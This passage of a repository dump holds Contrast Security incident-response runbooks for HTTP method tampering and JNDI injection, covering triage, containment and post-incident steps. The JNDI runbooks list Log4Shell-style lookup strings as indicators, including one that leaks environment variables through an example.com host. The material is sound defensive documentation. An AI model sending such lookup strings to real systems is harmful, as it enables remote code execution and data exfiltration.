| 201 | If the event seems to be a False Positive, then Contrast may be blocking legitimate usage of the application, therefore negatively impacting it. 202 | 203 | - Create an exclusion to allow the legitimate traffic through so that you can continue to be protected by “Block” mode without the negative impact. 204 | - Alternatively, you can set up a Virtual Patch that only allows legitimate traffic through and any non-matches (attack traffic) will be blocked. 205 | - If neither of the above options are satisfactory and the negative impact of the application must be avoided, you can switch the rule to “Monitor” mode. 206 | 207 | [Proceed to Post-Incident Activities](#post-incident-activities) 208 | 209 | 210 | ## Benign True Positive 211 | 212 | To review, a Benign True Positive occurs when an application relies on vulnerable behavior that could potentially be exploited, but is currently necessary for operation. Consider the following options: 213 | 214 | - Ignore 215 | - Create Exclusion 216 | - Work with the application developer on alternative implementations that do not pose such risk to the application, but meets the business needs. 217 | 218 | ## Post-Incident Activities 219 | 220 | - **Documentation** 221 | - **Incident Report:** Document the incident, including findings, raw events and alerts, actions taken, assets impacted, and lessons learned. 222 | - **Update Documentation:** Keep security runbooks and documentation up to date. 223 | - **Communication** 224 | - **Notify Stakeholders:** Inform relevant stakeholders about the incident and steps taken. 225 | - **User Notification:** Notify affected users if there was a data breach. 226 | - **Review and Improve** 227 | - **Review Response:** Conduct a post-mortem to review the response and identify improvement areas. 228 | - **Enhance Security Posture:** Implement additional security measures and improve monitoring. 229 | -------------------------------------------------------------------------------- /_incident-runbooks/http-method-tampering.md: -------------------------------------------------------------------------------- 1 | --- 2 | layout: runbook 3 | title: "HTTP Method Tampering" 4 | description: "Guide for handling attacks where malicious actors manipulate HTTP methods to bypass authentication, authorization, or other security mechanisms" 5 | --- 6 | 7 | 8 | # HTTP Method Tampering Runbook 9 | 10 | Method Tampering (aka verb tampering or HTTP method tampering) is an attack where an attacker manipulates the HTTP method used in a request to a web application. Providing unexpected HTTP methods can sometimes bypass authentication, authorization or other security mechanisms. 11 | 12 | 13 | Example Event - Exploited outcome HTTP Method Tampering 14 | `Oct 21 08:58:55 192.168.12.70 CEF:0|Contrast Security|Contrast Agent Java|6.9.0|SECURITY|The input METHOD had a value that successfully exploited method-tampering - SOMEMETHOD|WARN|pri=method-tampering src=0:0:0:0:0:0:0:1 spt=8080 request=/error requestMethod=com.contrastsecurity.agent.contrastapi_v1_0.RequestMethod$1@1cf573b7 app=webapplication outcome=EXPLOITED` 15 | 16 | 17 | 18 | Example Event - Blocked outcome HTTP Method Tampering 19 | `Oct 21 09:00:03 192.168.12.70 CEF:0|Contrast Security|Contrast Agent Java|6.9.0|SECURITY|The input METHOD had a value that successfully exploited method-tampering - SOMEMETHOD|WARN|pri=method-tampering src=0:0:0:0:0:0:0:1 spt=8080 request=/ requestMethod=com.contrastsecurity.agent.contrastapi_v1_0.RequestMethod$1@12076e97 app=webapplication outcome=BLOCKED` 20 | 21 | 22 | 23 | 24 | \ 25 | What is the “outcome” of the event you are triaging? (click to proceed) 26 | 27 | - [Exploited](#exploited) 28 | - [Blocked](#blocked) 29 | 30 | 31 | - [Success](#success) 32 | 33 | 34 | ## Exploited 35 | 36 | "Exploited" means Contrast detected an abnormal HTTP method used in an incoming request, and the response code was not a 501 or 405 indicating the request was processed. 37 | 38 | To verify this is a true positive, review the following attributes of the event for common indicators: 39 | 40 | - Does the request contain an abnormal HTTP method? (e.g one that is not defined in the HTTP RFC) 41 | - Is the HTTP response code not a 501 or 405? 42 | - Does the HTTP method make sense in the context of the application? (e.g a DELETE request to a static resource) 43 | 44 | 45 | 46 | \ 47 | Does the event appear to be a true positive? (click to proceed) 48 | 49 | - [No](#exploited-false-positive) 50 | - [Yes, or unsure](#exploited-true-positive) 51 | 52 | 53 | 54 | ## Blocked 55 | 56 | "Blocked" means Contrast detected an abnormal HTTP method used in an incoming request, therefore blocked execution of the request. 57 | 58 | To verify this is a true positive, review the following attributes of the event: 59 | 60 | - Does the request contain an abnormal HTTP method? (e.g one that is not defined in the HTTP RFC) 61 | - Is the HTTP response code not a 501 or 405? 62 | - Does the HTTP method make sense in the context of the application? (e.g a DELETE request to a static resource) 63 | 64 | 65 | 66 | \ 67 | Is the event a true positive? (click to proceed) 68 | 69 | - [No](#blocked-false-positive) 70 | - [Yes, or unsure](#blocked-true-positive) 71 | 72 | 73 | 74 | 75 | 76 | 77 | ## Success 78 | 79 | “Success" means that Contrast's security measures functioned as intended, preventing unauthorized access or potentially malicious activity from reaching the application. This could be due to a [virtual patch](https://docs.contrastsecurity.com/en/virtual-patches.html), [IP block](https://docs.contrastsecurity.com/en/block-or-allow-ips.html), or [bot block rule](https://docs.contrastsecurity.com/en/server-configuration.html#:~:text=Bot%20blocking%20blocks%20traffic%20from,Events%2C%20use%20the%20filter%20options.) being triggered. 80 | 81 | Generally, these events don't necessitate action because they signify the system is working correctly. 82 | 83 | However, further investigation may be beneficial in specific scenarios to gain more insights or proactively enhance security: 84 | 85 | - Should the event have been blocked?: 86 | - If the event is from an [IP block](https://docs.contrastsecurity.com/en/block-or-allow-ips.html): 87 | - Correlate the IP address with other events to identify any attempted malicious actions. 88 | - Look up the IP address's reputation and origin to determine if it's known for malicious activity. 89 | - Check if the IP is listed on any other denylists across your systems. 90 | - If the event is from a [Virtual Patch](https://docs.contrastsecurity.com/en/virtual-patches.html): 91 | - Correlate the event with any exploited or probed events. 92 | - Confirm if the virtual patch is protecting a known vulnerability in the application. 93 | - If the event is from a [Bot Block](https://docs.contrastsecurity.com/en/server-configuration.html#:~:text=Bot%20blocking%20blocks%20traffic%20from,Events%2C%20use%20the%20filter%20options.): 94 | - Analyze the user-agent header of the HTTP request. Only requests originating from known scanning, fuzzing, or malicious user-agents should be blocked. 95 | 96 | \ 97 | If the event appears to be for legitimate traffic, an [exclusion](https://docs.contrastsecurity.com/en/application-exclusions.html) can be configured. 98 | 99 | \ 100 | [Proceed to Post-Incident Activities](#post-incident-activities) 101 | 102 | 103 | ## Exploited True Positive 104 | 105 | It is possible that the event is a True Positive, but is benign. A Benign True Positive is when an application relies on vulnerable behavior that could potentially be exploited, but is currently necessary for operation. This determination will often require the assistance of the development or application security teams. 106 | 107 | If the event appears to be a Benign True Positive, click [here](#benign-true-positive). 108 | 109 | \ 110 | If it does not appear to be a Benign True Positive, the most immediate action to stop an "active" attack would be to block the current attacker of the exploited event, while further triage could result in a [virtual patch](https://docs.contrastsecurity.com/en/virtual-patches.html)/[enabling block mode](https://docs.contrastsecurity.com/en/set-protect-rules.html) for the rule: 111 | 112 | - Is the attack originating from a specific IP[s] that is a real external IP address (not internal load balancer or network device) and not the public IP address for a large company network? 113 | - Block using network appliance 114 | - [Block using Contrast](https://docs.contrastsecurity.com/en/ip-management.html) 115 | - Are all of the events originating from the same application user account? 116 | - Determine if the account is a legitimate account 117 | - If so, attempt to help them recover the account by contacting and authenticating the legitimate user, arranging to change their credentials, and recover from any damage. 118 | - If not, consider the following options: 119 | - Ban the account 120 | - Disable the account 121 | - Delete the account 122 | 123 | \ 124 | \ 125 | Once the current attack has been stopped, consider taking additional steps to prevent future exploitation. 126 | 127 | - If the only “Exploited” events for this rule are true positives, then the rule can be [switched to “Block” mode](https://docs.contrastsecurity.com/en/set-protect-rules.html) which will prevent future exploitation. 128 | - If there are other “Exploited” events that appear to be legitimate, benign traffic, then “Block” mode would block those events as well, which could have negative impact to the application. 129 | - Before enabling “Block” mode for this situation, you must first exclude the legitimate, benign traffic being caught in the rule. 130 | - Alternatively, you can set up a [Virtual Patch](https://docs.contrastsecurity.com/en/virtual-patches.html) that only allows the legitimate, benign traffic through and any non-matches will be blocked. 131 | 132 | If none of the above options are satisfactory and it's perceived the application is at great risk, you can consider shutting down the application or removing network connectivity. 133 | 134 | \ 135 | \ 136 | Post Containment 137 | 138 | - If confirmed this is a True Positive, it should be raised with the appsec/dev teams to get fixed. Useful information for those teams would be: 139 | 140 | - Application name 141 | - Is app in production, development, staging, etc 142 | - Affected URL 143 | - Attack payload 144 | - Stack trace of the request 145 | - To better understand the extent of the incident and to ensure the attack is no longer occurring, look for other IOCs: 146 | - Did the same IP Address Generate Other Alerts? 147 | - Is the vulnerability being exploited by other actors? 148 | - Spike in traffic or repeated access patterns to the vulnerable URL 149 | - Correlate exploited events with any "probed" or "blocked" events 150 | - If the attack was able to execute commands on the server, the server may need to be considered compromised and reviewed for persistence and other lateral movement. 151 | 152 | \ 153 | \ 154 | [Proceed to Post-Incident Activities](#post-incident-activities) 155 | 156 | 157 | 158 | ## Exploited False Positive 159 | 160 | If the event seems to be a False Positive, consider the following options: 161 | 162 | - Ignore 163 | - [Create Exclusion](https://docs.contrastsecurity.com/en/application-exclusions.html) 164 | 165 | \ 166 | [Proceed to Post-Incident Activities](#post-incident-activities) 167 | 168 | 169 | 170 | 171 | 172 | 173 | 174 | 175 | ## Blocked True Positive 176 | 177 | It is possible that the event is a True Positive, but benign. A Benign True Positive is when an application’s design relies on vulnerable behavior that could potentially be exploited, but is currently necessary for operation. This determination will often require the assistance of the development or application security teams. 178 | 179 | If the event appears to be a Benign True Positive, click [here](#benign-true-positive). 180 | 181 | If it does not appear to be a Benign True Positive, consider the following options: 182 | 183 | - If one IP address is generating a lot of blocked events, it's probably worthwhile to block it. 184 | - Notify Dev/Appsec team of Vulnerability. Useful information for those teams would be: 185 | - Application name 186 | - Is app in production, development, staging, etc 187 | - Affected URL 188 | - payload 189 | - Stack trace of the request 190 | - Look for IOCs of further attacks in other parts/inputs of the application 191 | - Other blocked or probed events? 192 | - Did anything show up as "exploited" indicating a different rule did not have blocking enabled? 193 | - Ignore 194 | 195 | [Proceed to Post-Incident Activities](#post-incident-activities) 196 | 197 | 198 | 199 | ## Blocked False Positive 200 | 201 | If the event seems to be a False Positive, then Contrast may be blocking legitimate usage of the application, therefore negatively impacting it. 202 | 203 | - Create an exclusion to allow the legitimate traffic through so that you can continue to be protected by “Block” mode without the negative impact. 204 | - Alternatively, you can set up a Virtual Patch that only allows legitimate traffic through and any non-matches (attack traffic) will be blocked. 205 | - If neither of the above options are satisfactory and the negative impact of the application must be avoided, you can switch the rule to “Monitor” mode. 206 | 207 | [Proceed to Post-Incident Activities](#post-incident-activities) 208 | 209 | 210 | ## Benign True Positive 211 | 212 | To review, a Benign True Positive occurs when an application relies on vulnerable behavior that could potentially be exploited, but is currently necessary for operation. Consider the following options: 213 | 214 | - Ignore 215 | - Create Exclusion 216 | - Work with the application developer on alternative implementations that do not pose such risk to the application, but meets the business needs. 217 | 218 | ## Post-Incident Activities 219 | 220 | - **Documentation** 221 | - **Incident Report:** Document the incident, including findings, raw events and alerts, actions taken, assets impacted, and lessons learned. 222 | - **Update Documentation:** Keep security runbooks and documentation up to date. 223 | - **Communication** 224 | - **Notify Stakeholders:** Inform relevant stakeholders about the incident and steps taken. 225 | - **User Notification:** Notify affected users if there was a data breach. 226 | - **Review and Improve** 227 | - **Review Response:** Conduct a post-mortem to review the response and identify improvement areas. 228 | - **Enhance Security Posture:** Implement additional security measures and improve monitoring. 229 | -------------------------------------------------------------------------------- /_runbooks/jndi-injection.md: -------------------------------------------------------------------------------- 1 | --- 2 | layout: runbook 3 | title: "JNDI Injection" 4 | description: "Guide for addressing attacks where malicious actors exploit JNDI lookups to achieve remote code execution or data exfiltration through malicious JNDI servers" 5 | --- 6 | 7 | 8 | # JNDI Injection Runbook 9 | 10 | JNDI injection is a malicious technique where attackers exploit vulnerabilities in web applications to influence the server used in a JNDI lookup. Where an attacker can influence the server the JNDI Lookup is sent to, it is possible to get the server to connect to a malicious JNDI Server which returns a malicious class which when loaded will give the attacker Remote Code Execution on the impacted server. Also in the case of infamous log4shell vulnerability, as well as RCE, it is possible to exfiltrate data fro the impacted server. 11 | 12 | 13 | Example Event - Exploited outcome JNDI Injection 14 | `Oct 17 10:53:34 172.19.0.2 CEF:0|Contrast Security|Contrast Agent Java|6.7.0|SECURITY|The input UNKNOWN had a value that successfully exploited jndi-injection - null|WARN|pri=jndi-injection src=172.19.0.5 spt=8081 request=/registerEmail requestMethod=POST app=Petclinic-burp-demo-jb-2-Email-Service outcome=EXPLOITED` 15 | 16 | 17 | 18 | Example Event - Blocked outcome JNDI Injection 19 | `Oct 17 12:04:07 172.19.0.2 CEF:0|Contrast Security|Contrast Agent Java|6.7.0|SECURITY|The input UNKNOWN had a value that successfully exploited jndi-injection - null|WARN|pri=jndi-injection src=172.19.0.5 spt=8081 request=/registerEmail requestMethod=POST app=Petclinic-burp-demo-jb-2-Email-Service outcome=BLOCKED` 20 | 21 | 22 | 23 | 24 | \ 25 | What is the “outcome” of the event you are triaging? (click to proceed) 26 | 27 | - [Exploited](#exploited) 28 | - [Blocked](#blocked) 29 | 30 | 31 | - [Success](#success) 32 | 33 | 34 | ## Exploited 35 | 36 | An "Exploited" outcome means Contrast detected a JNDI Query with the protocol RMI or LDAP, which did not match the defined "PROVIDER_URL". 37 | 38 | To verify this is a true positive, review the following attributes of the event for common indicators: 39 | 40 | - An unknown LDAP or RMI Server. 41 | 42 | 43 | 44 | \ 45 | Examples: 46 | 47 | - `jndi:ldap://example.com:1389/jdk8` 48 | - `jndi:rmi://example.com:1389/jdk8` 49 | - `jndi:ldap://${env:USER}.${env:USERNAME}.example.com:1389/` 50 | 51 | \ 52 | Does the event appear to be a true positive? (click to proceed) 53 | 54 | - [No](#exploited-false-positive) 55 | - [Yes, or unsure](#exploited-true-positive) 56 | 57 | 58 | 59 | ## Blocked 60 | 61 | "Blocked" outcome means Contrast detected a JNDI Query with the protocol RMI or LDAP, which did not match the defined "PROVIDER_URL", and Contrast stopped the Query from executing. 62 | 63 | To verify this is a true positive, review the following attributes of the event: 64 | 65 | - An unknown LDAP or RMI Server. 66 | 67 | 68 | \ 69 | Examples: 70 | 71 | - `jndi:ldap://example.com:1389/jdk8` 72 | - `jndi:rmi://example.com:1389/jdk8` 73 | - `jndi:ldap://${env:USER}.${env:USERNAME}.example.com:1389/` 74 | 75 | 76 | \ 77 | Is the event a true positive? (click to proceed) 78 | 79 | - [No](#blocked-false-positive) 80 | - [Yes, or unsure](#blocked-true-positive) 81 | 82 | 83 | 84 | 85 | 86 | 87 | ## Success 88 | 89 | “Success" means that Contrast's security measures functioned as intended, preventing unauthorized access or potentially malicious activity from reaching the application. This could be due to a [virtual patch](https://docs.contrastsecurity.com/en/virtual-patches.html), [IP block](https://docs.contrastsecurity.com/en/block-or-allow-ips.html), or [bot block rule](https://docs.contrastsecurity.com/en/server-configuration.html#:~:text=Bot%20blocking%20blocks%20traffic%20from,Events%2C%20use%20the%20filter%20options.) being triggered. 90 | 91 | Generally, these events don't necessitate action because they signify the system is working correctly. 92 | 93 | However, further investigation may be beneficial in specific scenarios to gain more insights or proactively enhance security: 94 | 95 | - Should the event have been blocked?: 96 | - If the event is from an [IP block](https://docs.contrastsecurity.com/en/block-or-allow-ips.html): 97 | - Correlate the IP address with other events to identify any attempted malicious actions. 98 | - Look up the IP address's reputation and origin to determine if it's known for malicious activity. 99 | - Check if the IP is listed on any other denylists across your systems. 100 | - If the event is from a [Virtual Patch](https://docs.contrastsecurity.com/en/virtual-patches.html): 101 | - Correlate the event with any exploited or probed events. 102 | - Confirm if the virtual patch is protecting a known vulnerability in the application. 103 | - If the event is from a [Bot Block](https://docs.contrastsecurity.com/en/server-configuration.html#:~:text=Bot%20blocking%20blocks%20traffic%20from,Events%2C%20use%20the%20filter%20options.): 104 | - Analyze the user-agent header of the HTTP request. Only requests originating from known scanning, fuzzing, or malicious user-agents should be blocked. 105 | 106 | \ 107 | If the event appears to be for legitimate traffic, an [exclusion](https://docs.contrastsecurity.com/en/application-exclusions.html) can be configured. 108 | 109 | \ 110 | [Proceed to Post-Incident Activities](#post-incident-activities) 111 | 112 | 113 | ## Exploited True Positive 114 | 115 | It is possible that the event is a True Positive, but is benign. A Benign True Positive is when an application relies on vulnerable behavior that could potentially be exploited, but is currently necessary for operation. This determination will often require the assistance of the development or application security teams. 116 | 117 | If the event appears to be a Benign True Positive, click [here](#benign-true-positive). 118 | 119 | \ 120 | If it does not appear to be a Benign True Positive, the most immediate action to stop an "active" attack would be to block the current attacker of the exploited event, while further triage could result in a [virtual patch](https://docs.contrastsecurity.com/en/virtual-patches.html)/[enabling block mode](https://docs.contrastsecurity.com/en/set-protect-rules.html) for the rule: 121 | 122 | - Is the attack originating from a specific IP[s] that is a real external IP address (not internal load balancer or network device) and not the public IP address for a large company network? 123 | - Block using network appliance 124 | - [Block using Contrast](https://docs.contrastsecurity.com/en/ip-management.html) 125 | - Are all of the events originating from the same application user account? 126 | - Determine if the account is a legitimate account 127 | - If so, attempt to help them recover the account by contacting and authenticating the legitimate user, arranging to change their credentials, and recover from any damage. 128 | - If not, consider the following options: 129 | - Ban the account 130 | - Disable the account 131 | - Delete the account 132 | 133 | \ 134 | \ 135 | Once the current attack has been stopped, consider taking additional steps to prevent future exploitation. 136 | 137 | - If the only “Exploited” events for this rule are true positives, then the rule can be [switched to “Block” mode](https://docs.contrastsecurity.com/en/set-protect-rules.html) which will prevent future exploitation. 138 | - If there are other “Exploited” events that appear to be legitimate, benign traffic, then “Block” mode would block those events as well, which could have negative impact to the application. 139 | - Before enabling “Block” mode for this situation, you must first exclude the legitimate, benign traffic being caught in the rule. 140 | - Alternatively, you can set up a [Virtual Patch](https://docs.contrastsecurity.com/en/virtual-patches.html) that only allows the legitimate, benign traffic through and any non-matches will be blocked. 141 | 142 | If none of the above options are satisfactory and it's perceived the application is at great risk, you can consider shutting down the application or removing network connectivity. 143 | 144 | \ 145 | \ 146 | Post Containment 147 | 148 | - If confirmed this is a True Positive, it should be raised with the appsec/dev teams to get fixed. Useful information for those teams would be: 149 | 150 | - Application name 151 | - Is app in production, development, staging, etc 152 | - Affected URL 153 | - Attack payload 154 | - Stack trace of the request 155 | - To better understand the extent of the incident and to ensure the attack is no longer occurring, look for other IOCs: 156 | - Did the same IP Address Generate Other Alerts? 157 | - Is the vulnerability being exploited by other actors? 158 | - Spike in traffic or repeated access patterns to the vulnerable URL 159 | - Correlate exploited events with any "probed" or "blocked" events 160 | - If the attack was able to execute commands on the server, the server may need to be considered compromised and reviewed for persistence and other lateral movement. 161 | 162 | \ 163 | \ 164 | [Proceed to Post-Incident Activities](#post-incident-activities) 165 | 166 | 167 | 168 | ## Exploited False Positive 169 | 170 | If the event seems to be a False Positive, consider the following options: 171 | 172 | - Ignore 173 | - [Create Exclusion](https://docs.contrastsecurity.com/en/application-exclusions.html) 174 | 175 | \ 176 | [Proceed to Post-Incident Activities](#post-incident-activities) 177 | 178 | 179 | 180 | 181 | 182 | 183 | 184 | 185 | ## Blocked True Positive 186 | 187 | It is possible that the event is a True Positive, but benign. A Benign True Positive is when an application’s design relies on vulnerable behavior that could potentially be exploited, but is currently necessary for operation. This determination will often require the assistance of the development or application security teams. 188 | 189 | If the event appears to be a Benign True Positive, click [here](#benign-true-positive). 190 | 191 | If it does not appear to be a Benign True Positive, consider the following options: 192 | 193 | - If one IP address is generating a lot of blocked events, it's probably worthwhile to block it. 194 | - Notify Dev/Appsec team of Vulnerability. Useful information for those teams would be: 195 | - Application name 196 | - Is app in production, development, staging, etc 197 | - Affected URL 198 | - payload 199 | - Stack trace of the request 200 | - Look for IOCs of further attacks in other parts/inputs of the application 201 | - Other blocked or probed events? 202 | - Did anything show up as "exploited" indicating a different rule did not have blocking enabled? 203 | - Ignore 204 | 205 | [Proceed to Post-Incident Activities](#post-incident-activities) 206 | 207 | 208 | 209 | ## Blocked False Positive 210 | 211 | If the event seems to be a False Positive, then Contrast may be blocking legitimate usage of the application, therefore negatively impacting it. 212 | 213 | - Create an exclusion to allow the legitimate traffic through so that you can continue to be protected by “Block” mode without the negative impact. 214 | - Alternatively, you can set up a Virtual Patch that only allows legitimate traffic through and any non-matches (attack traffic) will be blocked. 215 | - If neither of the above options are satisfactory and the negative impact of the application must be avoided, you can switch the rule to “Monitor” mode. 216 | 217 | [Proceed to Post-Incident Activities](#post-incident-activities) 218 | 219 | 220 | ## Benign True Positive 221 | 222 | To review, a Benign True Positive occurs when an application relies on vulnerable behavior that could potentially be exploited, but is currently necessary for operation. Consider the following options: 223 | 224 | - Ignore 225 | - Create Exclusion 226 | - Work with the application developer on alternative implementations that do not pose such risk to the application, but meets the business needs. 227 | 228 | ## Post-Incident Activities 229 | 230 | - **Documentation** 231 | - **Incident Report:** Document the incident, including findings, raw events and alerts, actions taken, assets impacted, and lessons learned. 232 | - **Update Documentation:** Keep security runbooks and documentation up to date. 233 | - **Communication** 234 | - **Notify Stakeholders:** Inform relevant stakeholders about the incident and steps taken. 235 | - **User Notification:** Notify affected users if there was a data breach. 236 | - **Review and Improve** 237 | - **Review Response:** Conduct a post-mortem to review the response and identify improvement areas. 238 | - **Enhance Security Posture:** Implement additional security measures and improve monitoring. 239 | -------------------------------------------------------------------------------- /_incident-runbooks/jndi-injection.md: -------------------------------------------------------------------------------- 1 | --- 2 | layout: runbook 3 | title: "JNDI Injection" 4 | description: "Guide for addressing attacks where malicious actors exploit JNDI lookups to achieve remote code execution or data exfiltration through malicious JNDI servers" 5 | --- 6 | 7 | 8 | # JNDI Injection Runbook 9 | 10 | JNDI injection is a malicious technique where attackers exploit vulnerabilities in web applications to influence the server used in a JNDI lookup. Where an attacker can influence the server the JNDI Lookup is sent to, it is possible to get the server to connect to a malicious JNDI Server which returns a malicious class which when loaded will give the attacker Remote Code Execution on the impacted server. Also in the case of infamous log4shell vulnerability, as well as RCE, it is possible to exfiltrate data fro the impacted server. 11 | 12 | 13 | Example Event - Exploited outcome JNDI Injection 14 | `Oct 17 10:53:34 172.19.0.2 CEF:0|Contrast Security|Contrast Agent Java|6.7.0|SECURITY|The input UNKNOWN had a value that successfully exploited jndi-injection - null|WARN|pri=jndi-injection src=172.19.0.5 spt=8081 request=/registerEmail requestMethod=POST app=Petclinic-burp-demo-jb-2-Email-Service outcome=EXPLOITED` 15 | 16 | 17 | 18 | Example Event - Blocked outcome JNDI Injection 19 | `Oct 17 12:04:07 172.19.0.2 CEF:0|Contrast Security|Contrast Agent Java|6.7.0|SECURITY|The input UNKNOWN had a value that successfully exploited jndi-injection - null|WARN|pri=jndi-injection src=172.19.0.5 spt=8081 request=/registerEmail requestMethod=POST app=Petclinic-burp-demo-jb-2-Email-Service outcome=BLOCKED` 20 | 21 | 22 | 23 | 24 | \ 25 | What is the “outcome” of the event you are triaging? (click to proceed) 26 | 27 | - [Exploited](#exploited) 28 | - [Blocked](#blocked) 29 | 30 | 31 | - [Success](#success) 32 | 33 | 34 | ## Exploited 35 | 36 | An "Exploited" outcome means Contrast detected an input coming into an application that is then used to create a JNDI Query with the protocol RMI or LDAP. 37 | 38 | To verify this is a true positive, review the following attributes of the event for common indicators: 39 | 40 | - An unknown LDAP or RMI Server. 41 | 42 | 43 | 44 | \ 45 | Examples: 46 | 47 | - `jndi:ldap://example.com:1389/jdk8` 48 | - `jndi:rmi://example.com:1389/jdk8` 49 | - `jndi:ldap://${env:USER}.${env:USERNAME}.example.com:1389/` 50 | 51 | \ 52 | Does the event appear to be a true positive? (click to proceed) 53 | 54 | - [No](#exploited-false-positive) 55 | - [Yes, or unsure](#exploited-true-positive) 56 | 57 | 58 | 59 | ## Blocked 60 | 61 | "Blocked" outcome means Contrast detected an input coming into an application that is then used to create a JNDI Query with the protocol RMI or LDAP and Contrast stopped the Query from executing. 62 | 63 | To verify this is a true positive, review the following attributes of the event: 64 | 65 | - An unknown LDAP or RMI Server. 66 | 67 | 68 | \ 69 | Examples: 70 | 71 | - `jndi:ldap://example.com:1389/jdk8` 72 | - `jndi:rmi://example.com:1389/jdk8` 73 | - `jndi:ldap://${env:USER}.${env:USERNAME}.example.com:1389/` 74 | 75 | 76 | \ 77 | Is the event a true positive? (click to proceed) 78 | 79 | - [No](#blocked-false-positive) 80 | - [Yes, or unsure](#blocked-true-positive) 81 | 82 | 83 | 84 | 85 | 86 | 87 | ## Success 88 | 89 | “Success" means that Contrast's security measures functioned as intended, preventing unauthorized access or potentially malicious activity from reaching the application. This could be due to a [virtual patch](https://docs.contrastsecurity.com/en/virtual-patches.html), [IP block](https://docs.contrastsecurity.com/en/block-or-allow-ips.html), or [bot block rule](https://docs.contrastsecurity.com/en/server-configuration.html#:~:text=Bot%20blocking%20blocks%20traffic%20from,Events%2C%20use%20the%20filter%20options.) being triggered. 90 | 91 | Generally, these events don't necessitate action because they signify the system is working correctly. 92 | 93 | However, further investigation may be beneficial in specific scenarios to gain more insights or proactively enhance security: 94 | 95 | - Should the event have been blocked?: 96 | - If the event is from an [IP block](https://docs.contrastsecurity.com/en/block-or-allow-ips.html): 97 | - Correlate the IP address with other events to identify any attempted malicious actions. 98 | - Look up the IP address's reputation and origin to determine if it's known for malicious activity. 99 | - Check if the IP is listed on any other denylists across your systems. 100 | - If the event is from a [Virtual Patch](https://docs.contrastsecurity.com/en/virtual-patches.html): 101 | - Correlate the event with any exploited or probed events. 102 | - Confirm if the virtual patch is protecting a known vulnerability in the application. 103 | - If the event is from a [Bot Block](https://docs.contrastsecurity.com/en/server-configuration.html#:~:text=Bot%20blocking%20blocks%20traffic%20from,Events%2C%20use%20the%20filter%20options.): 104 | - Analyze the user-agent header of the HTTP request. Only requests originating from known scanning, fuzzing, or malicious user-agents should be blocked. 105 | 106 | \ 107 | If the event appears to be for legitimate traffic, an [exclusion](https://docs.contrastsecurity.com/en/application-exclusions.html) can be configured. 108 | 109 | \ 110 | [Proceed to Post-Incident Activities](#post-incident-activities) 111 | 112 | 113 | ## Exploited True Positive 114 | 115 | It is possible that the event is a True Positive, but is benign. A Benign True Positive is when an application relies on vulnerable behavior that could potentially be exploited, but is currently necessary for operation. This determination will often require the assistance of the development or application security teams. 116 | 117 | If the event appears to be a Benign True Positive, click [here](#benign-true-positive). 118 | 119 | \ 120 | If it does not appear to be a Benign True Positive, the most immediate action to stop an "active" attack would be to block the current attacker of the exploited event, while further triage could result in a [virtual patch](https://docs.contrastsecurity.com/en/virtual-patches.html)/[enabling block mode](https://docs.contrastsecurity.com/en/set-protect-rules.html) for the rule: 121 | 122 | - Is the attack originating from a specific IP[s] that is a real external IP address (not internal load balancer or network device) and not the public IP address for a large company network? 123 | - Block using network appliance 124 | - [Block using Contrast](https://docs.contrastsecurity.com/en/ip-management.html) 125 | - Are all of the events originating from the same application user account? 126 | - Determine if the account is a legitimate account 127 | - If so, attempt to help them recover the account by contacting and authenticating the legitimate user, arranging to change their credentials, and recover from any damage. 128 | - If not, consider the following options: 129 | - Ban the account 130 | - Disable the account 131 | - Delete the account 132 | 133 | \ 134 | \ 135 | Once the current attack has been stopped, consider taking additional steps to prevent future exploitation. 136 | 137 | - If the only “Exploited” events for this rule are true positives, then the rule can be [switched to “Block” mode](https://docs.contrastsecurity.com/en/set-protect-rules.html) which will prevent future exploitation. 138 | - If there are other “Exploited” events that appear to be legitimate, benign traffic, then “Block” mode would block those events as well, which could have negative impact to the application. 139 | - Before enabling “Block” mode for this situation, you must first exclude the legitimate, benign traffic being caught in the rule. 140 | - Alternatively, you can set up a [Virtual Patch](https://docs.contrastsecurity.com/en/virtual-patches.html) that only allows the legitimate, benign traffic through and any non-matches will be blocked. 141 | 142 | If none of the above options are satisfactory and it's perceived the application is at great risk, you can consider shutting down the application or removing network connectivity. 143 | 144 | \ 145 | \ 146 | Post Containment 147 | 148 | - If confirmed this is a True Positive, it should be raised with the appsec/dev teams to get fixed. Useful information for those teams would be: 149 | 150 | - Application name 151 | - Is app in production, development, staging, etc 152 | - Affected URL 153 | - Attack payload 154 | - Stack trace of the request 155 | - To better understand the extent of the incident and to ensure the attack is no longer occurring, look for other IOCs: 156 | - Did the same IP Address Generate Other Alerts? 157 | - Is the vulnerability being exploited by other actors? 158 | - Spike in traffic or repeated access patterns to the vulnerable URL 159 | - Correlate exploited events with any "probed" or "blocked" events 160 | - If the attack was able to execute commands on the server, the server may need to be considered compromised and reviewed for persistence and other lateral movement. 161 | 162 | \ 163 | \ 164 | [Proceed to Post-Incident Activities](#post-incident-activities) 165 | 166 | 167 | 168 | ## Exploited False Positive 169 | 170 | If the event seems to be a False Positive, consider the following options: 171 | 172 | - Ignore 173 | - [Create Exclusion](https://docs.contrastsecurity.com/en/application-exclusions.html) 174 | 175 | \ 176 | [Proceed to Post-Incident Activities](#post-incident-activities) 177 | 178 | 179 | 180 | 181 | 182 | 183 | 184 | 185 | ## Blocked True Positive 186 | 187 | It is possible that the event is a True Positive, but benign. A Benign True Positive is when an application’s design relies on vulnerable behavior that could potentially be exploited, but is currently necessary for operation. This determination will often require the assistance of the development or application security teams. 188 | 189 | If the event appears to be a Benign True Positive, click [here](#benign-true-positive). 190 | 191 | If it does not appear to be a Benign True Positive, consider the following options: 192 | 193 | - If one IP address is generating a lot of blocked events, it's probably worthwhile to block it. 194 | - Notify Dev/Appsec team of Vulnerability. Useful information for those teams would be: 195 | - Application name 196 | - Is app in production, development, staging, etc 197 | - Affected URL 198 | - payload 199 | - Stack trace of the request 200 | - Look for IOCs of further attacks in other parts/inputs of the application 201 | - Other blocked or probed events? 202 | - Did anything show up as "exploited" indicating a different rule did not have blocking enabled? 203 | - Ignore 204 | 205 | [Proceed to Post-Incident Activities](#post-incident-activities) 206 | 207 | 208 | 209 | ## Blocked False Positive 210 | 211 | If the event seems to be a False Positive, then Contrast may be blocking legitimate usage of the application, therefore negatively impacting it. 212 | 213 | - Create an exclusion to allow the legitimate traffic through so that you can continue to be protected by “Block” mode without the negative impact. 214 | - Alternatively, you can set up a Virtual Patch that only allows legitimate traffic through and any non-matches (attack traffic) will be blocked. 215 | - If neither of the above options are satisfactory and the negative impact of the application must be avoided, you can switch the rule to “Monitor” mode. 216 | 217 | [Proceed to Post-Incident Activities](#post-incident-activities) 218 | 219 | 220 | ## Benign True Positive 221 | 222 | To review, a Benign True Positive occurs when an application relies on vulnerable behavior that could potentially be exploited, but is 